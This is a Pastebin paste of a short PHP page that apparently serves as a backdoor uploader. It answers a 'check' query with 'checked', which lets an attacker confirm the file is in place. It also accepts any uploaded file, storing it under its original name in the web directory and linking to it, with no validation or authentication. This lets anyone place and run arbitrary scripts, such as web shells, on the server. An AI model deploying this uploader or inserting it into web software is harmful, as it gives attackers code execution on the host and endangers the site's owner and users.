Advertisement
mathio3

up

Oct 12th, 2018
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.58 KB | None | 0 0
  1. <?php
  2.     if (isset ($_GET['check'])) {
  3.         echo "checked";
  4.         exit;
  5.     }
  6. ?>
  7.  
  8. <!DOCTYPE html>
  9. <html>
  10. <head>
  11. <meta charset=utf-8>
  12. </head>
  13. <body>
  14. <h1>File</h1>
  15.  
  16.  
  17. <form method="post" enctype="multipart/form-data">
  18. <input type="file" name="filename"><br>
  19. <input type="submit" value="LOAD"><br>
  20. </form>
  21.  
  22. <?php
  23. if (is_uploaded_file($_FILES["filename"]["tmp_name"]))
  24.     {
  25.     move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
  26.     $file = $_FILES["filename"]["name"];
  27.     echo '<a href='.$file.'>'.$file.'</a>';
  28.     } else {
  29.     echo("FILE");
  30.     }
  31.  
  32. ?>
  33. </body>
  34. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement